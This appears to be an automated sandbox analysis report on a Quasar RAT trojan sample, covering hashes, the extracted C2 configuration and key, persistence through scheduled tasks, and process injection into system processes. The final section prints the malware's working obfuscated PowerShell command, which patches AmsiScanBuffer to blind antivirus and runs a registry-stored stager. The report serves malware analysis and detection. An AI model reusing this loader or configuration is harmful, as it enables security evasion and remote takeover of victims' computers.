quasar | 00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3

General

Target

Uni.exe
Size

409KB
MD5

7417c8c73e614f293152575f46134216
SHA1

cc68f7f5e7c769efb5b3e06bfb3a2f9329f37805
SHA256

00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3
SHA512

897a859e609028157f2721d76b97497d4b9f821d2b8be3359d1192ddc3a83d4b7449db25c63c3c260067b796c122194c48747dc611c98dc1e33aab82a20b98b0
SSDEEP

6144:nMr2pJAJcC0B632U3GRbMfgvKFFhTEDPX1NbKoEn5MSU+h2f8/14m:LpyJcC+82U3GRGGp1M5Ys2f8/6m

Score

10^/10

quasar slave spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SLAVE

C2

even-lemon.gl.at.ply.gg:33587

Mutex

$Sxr-dOMA5C0pQTTpKjVsCp

Attributes

encryption_key
UBXs44u6E81wxBGZxQHk
install_name
$sxr-powershell.exe
log_directory
$SXR-KEYLOGS
reconnect_delay
3000
startup_key
$sxr-powershell
subdirectory
$sxr-seroxen2

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
behavioral4/memory/1892-1-0x0000000000310000-0x000000000037C000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description pid process target process

PID 1212 created 644 1212 powershell.EXE winlogon.exe
PID 1084 created 644 1084 powershell.EXE winlogon.exe
Executes dropped EXE 3 IoCs

Processes:

$sxr-powershell.exeinstall.exeinstall.exe

pid process

3552 $sxr-powershell.exe
1116 install.exe
2668 install.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

1 raw.githubusercontent.com
4 raw.githubusercontent.com
11 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

1 ip-api.com

description	pid	process	target process
PID 1212 created 644	1212	powershell.EXE	winlogon.exe
PID 1084 created 644	1084	powershell.EXE	winlogon.exe

pid	process
3552	$sxr-powershell.exe
1116	install.exe
2668	install.exe

flow	ioc
1	raw.githubusercontent.com
4	raw.githubusercontent.com
11	raw.githubusercontent.com

flow	ioc
1	ip-api.com

Drops file in System32 directory 6 IoCs

Processes:

powershell.EXEsvchost.exesvchost.exepowershell.EXE

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\$77svc64	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description	pid	process	target process
PID 1212 set thread context of 3484	1212	powershell.EXE	dllhost.exe
PID 1084 set thread context of 5088	1084	powershell.EXE	dllhost.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

SCHTASKS.exeschtasks.exeschtasks.exe

pid process

1784 SCHTASKS.exe
1832 schtasks.exe
1044 schtasks.exe

pid	process
1784	SCHTASKS.exe
1832	schtasks.exe
1044	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEpowershell.EXEsvchost.exeOfficeClickToRun.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1715200348"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,17110992,7202269,41484365,17110988,7153487,39965824,17962391,508368333,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.EXEdllhost.exepowershell.EXEdllhost.exe

pid	process
1212	powershell.EXE
1212	powershell.EXE
1212	powershell.EXE
3484	dllhost.exe
3484	dllhost.exe
3484	dllhost.exe
3484	dllhost.exe
3484	dllhost.exe
3484	dllhost.exe
1084	powershell.EXE
1084	powershell.EXE
3484	dllhost.exe
3484	dllhost.exe
3484	dllhost.exe
3484	dllhost.exe
3484	dllhost.exe
3484	dllhost.exe
3484	dllhost.exe
3484	dllhost.exe
1084	powershell.EXE
3484	dllhost.exe
3484	dllhost.exe
1084	powershell.EXE
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe
5088	dllhost.exe

Suspicious use of AdjustPrivilegeToken 32 IoCs

Processes:

Uni.exe$sxr-powershell.exepowershell.EXEdllhost.exepowershell.EXEdllhost.exedwm.exeExplorer.EXE

description	pid	process
Token: SeDebugPrivilege	1892	Uni.exe
Token: SeDebugPrivilege	3552	$sxr-powershell.exe
Token: SeDebugPrivilege	1212	powershell.EXE
Token: SeDebugPrivilege	1212	powershell.EXE
Token: SeDebugPrivilege	3484	dllhost.exe
Token: SeDebugPrivilege	1084	powershell.EXE
Token: SeDebugPrivilege	1084	powershell.EXE
Token: SeDebugPrivilege	5088	dllhost.exe
Token: SeShutdownPrivilege	468	dwm.exe
Token: SeCreatePagefilePrivilege	468	dwm.exe
Token: SeShutdownPrivilege	3276	Explorer.EXE
Token: SeCreatePagefilePrivilege	3276	Explorer.EXE
Token: SeShutdownPrivilege	468	dwm.exe
Token: SeCreatePagefilePrivilege	468	dwm.exe
Token: SeShutdownPrivilege	3276	Explorer.EXE
Token: SeCreatePagefilePrivilege	3276	Explorer.EXE
Token: SeShutdownPrivilege	468	dwm.exe
Token: SeCreatePagefilePrivilege	468	dwm.exe
Token: SeShutdownPrivilege	3276	Explorer.EXE
Token: SeCreatePagefilePrivilege	3276	Explorer.EXE
Token: SeShutdownPrivilege	468	dwm.exe
Token: SeCreatePagefilePrivilege	468	dwm.exe
Token: SeShutdownPrivilege	3276	Explorer.EXE
Token: SeCreatePagefilePrivilege	3276	Explorer.EXE
Token: SeShutdownPrivilege	468	dwm.exe
Token: SeCreatePagefilePrivilege	468	dwm.exe
Token: SeShutdownPrivilege	3276	Explorer.EXE
Token: SeCreatePagefilePrivilege	3276	Explorer.EXE
Token: SeShutdownPrivilege	468	dwm.exe
Token: SeCreatePagefilePrivilege	468	dwm.exe
Token: SeShutdownPrivilege	3276	Explorer.EXE
Token: SeCreatePagefilePrivilege	3276	Explorer.EXE

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

$sxr-powershell.exe

pid process

3552 $sxr-powershell.exe
Suspicious use of UnmapMainImage 1 IoCs

Processes:

Explorer.EXE

pid process

3276 Explorer.EXE

pid	process
3552	$sxr-powershell.exe

pid	process
3276	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Uni.exe$sxr-powershell.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 1892 wrote to memory of 1044	1892	Uni.exe	schtasks.exe
PID 1892 wrote to memory of 1044	1892	Uni.exe	schtasks.exe
PID 1892 wrote to memory of 1044	1892	Uni.exe	schtasks.exe
PID 1892 wrote to memory of 3552	1892	Uni.exe	$sxr-powershell.exe
PID 1892 wrote to memory of 3552	1892	Uni.exe	$sxr-powershell.exe
PID 1892 wrote to memory of 3552	1892	Uni.exe	$sxr-powershell.exe
PID 1892 wrote to memory of 1116	1892	Uni.exe	install.exe
PID 1892 wrote to memory of 1116	1892	Uni.exe	install.exe
PID 1892 wrote to memory of 1116	1892	Uni.exe	install.exe
PID 1892 wrote to memory of 1784	1892	Uni.exe	SCHTASKS.exe
PID 1892 wrote to memory of 1784	1892	Uni.exe	SCHTASKS.exe
PID 1892 wrote to memory of 1784	1892	Uni.exe	SCHTASKS.exe
PID 3552 wrote to memory of 1832	3552	$sxr-powershell.exe	schtasks.exe
PID 3552 wrote to memory of 1832	3552	$sxr-powershell.exe	schtasks.exe
PID 3552 wrote to memory of 1832	3552	$sxr-powershell.exe	schtasks.exe
PID 1212 wrote to memory of 3484	1212	powershell.EXE	dllhost.exe
PID 1212 wrote to memory of 3484	1212	powershell.EXE	dllhost.exe
PID 1212 wrote to memory of 3484	1212	powershell.EXE	dllhost.exe
PID 1212 wrote to memory of 3484	1212	powershell.EXE	dllhost.exe
PID 1212 wrote to memory of 3484	1212	powershell.EXE	dllhost.exe
PID 1212 wrote to memory of 3484	1212	powershell.EXE	dllhost.exe
PID 1212 wrote to memory of 3484	1212	powershell.EXE	dllhost.exe
PID 1212 wrote to memory of 3484	1212	powershell.EXE	dllhost.exe
PID 3484 wrote to memory of 644	3484	dllhost.exe	winlogon.exe
PID 3484 wrote to memory of 696	3484	dllhost.exe	lsass.exe
PID 3484 wrote to memory of 1000	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 468	3484	dllhost.exe	dwm.exe
PID 3484 wrote to memory of 788	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 716	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 1064	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 1120	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 1128	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 1236	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 1244	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 1320	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 1408	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 1488	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 1512	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 1588	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 1596	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 1676	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 1732	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 1760	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 1856	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 1868	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 1224	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 1300	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 432	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 2064	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 2168	3484	dllhost.exe	spoolsv.exe
PID 3484 wrote to memory of 2280	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 2308	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 2536	3484	dllhost.exe	sihost.exe
PID 3484 wrote to memory of 2552	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 2600	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 2612	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 2656	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 2720	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 2756	3484	dllhost.exe	sysmon.exe
PID 3484 wrote to memory of 2784	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 2792	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 2804	3484	dllhost.exe	svchost.exe
PID 3484 wrote to memory of 3092	3484	dllhost.exe	unsecapp.exe
PID 3484 wrote to memory of 3276	3484	dllhost.exe	Explorer.EXE

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:644

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:468

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{4d4c8da1-27c9-49f5-84d1-fb3fc4861749}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3484

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{bd90af69-7654-4952-aa71-b3b986dff5c3}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5088

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:788

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1244

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:LTLpyzitrkVG{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$HKoGzgSCpvqbhW,[Parameter(Position=1)][Type]$oDwhNhnzok)$AeZzfVUwoux=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+'t'+''+'e'+''+[Char](100)+''+[Char](68)+''+'e'+''+'l'+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+'M'+''+'e'+''+[Char](109)+''+[Char](111)+'r'+'y'+'M'+'o'+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+'te'+'T'+''+'y'+'p'+[Char](101)+'',''+[Char](67)+''+'l'+''+[Char](97)+'s'+[Char](115)+','+[Char](80)+''+'u'+'bl'+[Char](105)+'c'+[Char](44)+'S'+[Char](101)+''+[Char](97)+'l'+'e'+'d,'+[Char](65)+''+[Char](110)+'si'+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+''+'l'+''+'a'+''+[Char](115)+'s',[MulticastDelegate]);$AeZzfVUwoux.DefineConstructor('R'+[Char](84)+''+[Char](83)+'p'+'e'+'cia'+[Char](108)+'N'+'a'+'m'+'e'+''+','+'H'+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+'y'+'S'+[Char](105)+''+'g'+''+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$HKoGzgSCpvqbhW).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+'t'+''+[Char](105)+''+'m'+'e'+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$AeZzfVUwoux.DefineMethod('I'+[Char](110)+''+[Char](118)+''+'o'+''+[Char](107)+''+[Char](101)+'',''+'P'+''+'u'+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](72)+''+'i'+''+'d'+''+'e'+'B'+[Char](121)+'S'+'i'+''+'g'+''+','+''+[Char](78)+''+[Char](101)+''+[Char](119)+''+'S'+''+'l'+'o'+[Char](116)+''+[Char](44)+'V'+[Char](105)+''+[Char](114)+'tua'+[Char](108)+'',$oDwhNhnzok,$HKoGzgSCpvqbhW).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e,'+'M'+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+'d');Write-Output $AeZzfVUwoux.CreateType();}$NrvImgSRvffwk=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+'s'+''+[Char](116)+''+'e'+''+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType('Mic'+[Char](114)+''+[Char](111)+''+'s'+'o'+[Char](102)+''+[Char](116)+'.'+[Char](87)+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+'e'+''+[Char](77)+''+[Char](101)+''+[Char](116)+''+'h'+''+'o'+'d'+'s'+'');$SvBxuLaVmdNGrW=$NrvImgSRvffwk.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+'P'+'r'+'o'+''+[Char](99)+''+'A'+''+'d'+''+'d'+'r'+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+'l'+'i'+''+[Char](99)+','+'S'+'t'+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$mxsVWbHnyNCxRSfewoC=LTLpyzitrkVG @([String])([IntPtr]);$zzFWsXBHzsuHWyWyDnhmNg=LTLpyzitrkVG @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$AcnnqLPgsPl=$NrvImgSRvffwk.GetMethod('G'+'e'+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+'d'+''+'u'+''+'l'+'e'+[Char](72)+''+[Char](97)+'nd'+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+''+[Char](110)+''+'e'+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](100)+'l'+[Char](108)+'')));$rosSuQYTDyDjYs=$SvBxuLaVmdNGrW.Invoke($Null,@([Object]$AcnnqLPgsPl,[Object]('Load'+'L'+''+[Char](105)+'br'+[Char](97)+''+'r'+''+[Char](121)+''+'A'+'')));$azllvhLTNHVCXeGuv=$SvBxuLaVmdNGrW.Invoke($Null,@([Object]$AcnnqLPgsPl,[Object](''+'V'+''+'i'+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+'e'+[Char](99)+''+'t'+'')));$sazKBDK=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rosSuQYTDyDjYs,$mxsVWbHnyNCxRSfewoC).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+'i'+''+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'');$aiaPbkUSNCXyQUtJO=$SvBxuLaVmdNGrW.Invoke($Null,@([Object]$sazKBDK,[Object]('Am'+[Char](115)+''+[Char](105)+''+'S'+'can'+[Char](66)+'u'+'f'+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$lIBMqqQxzD=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($azllvhLTNHVCXeGuv,$zzFWsXBHzsuHWyWyDnhmNg).Invoke($aiaPbkUSNCXyQUtJO,[uint32]8,4,[ref]$lIBMqqQxzD);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$aiaPbkUSNCXyQUtJO,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($azllvhLTNHVCXeGuv,$zzFWsXBHzsuHWyWyDnhmNg).Invoke($aiaPbkUSNCXyQUtJO,[uint32]8,0x20,[ref]$lIBMqqQxzD);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+'T'+'W'+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue('$77'+'s'+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
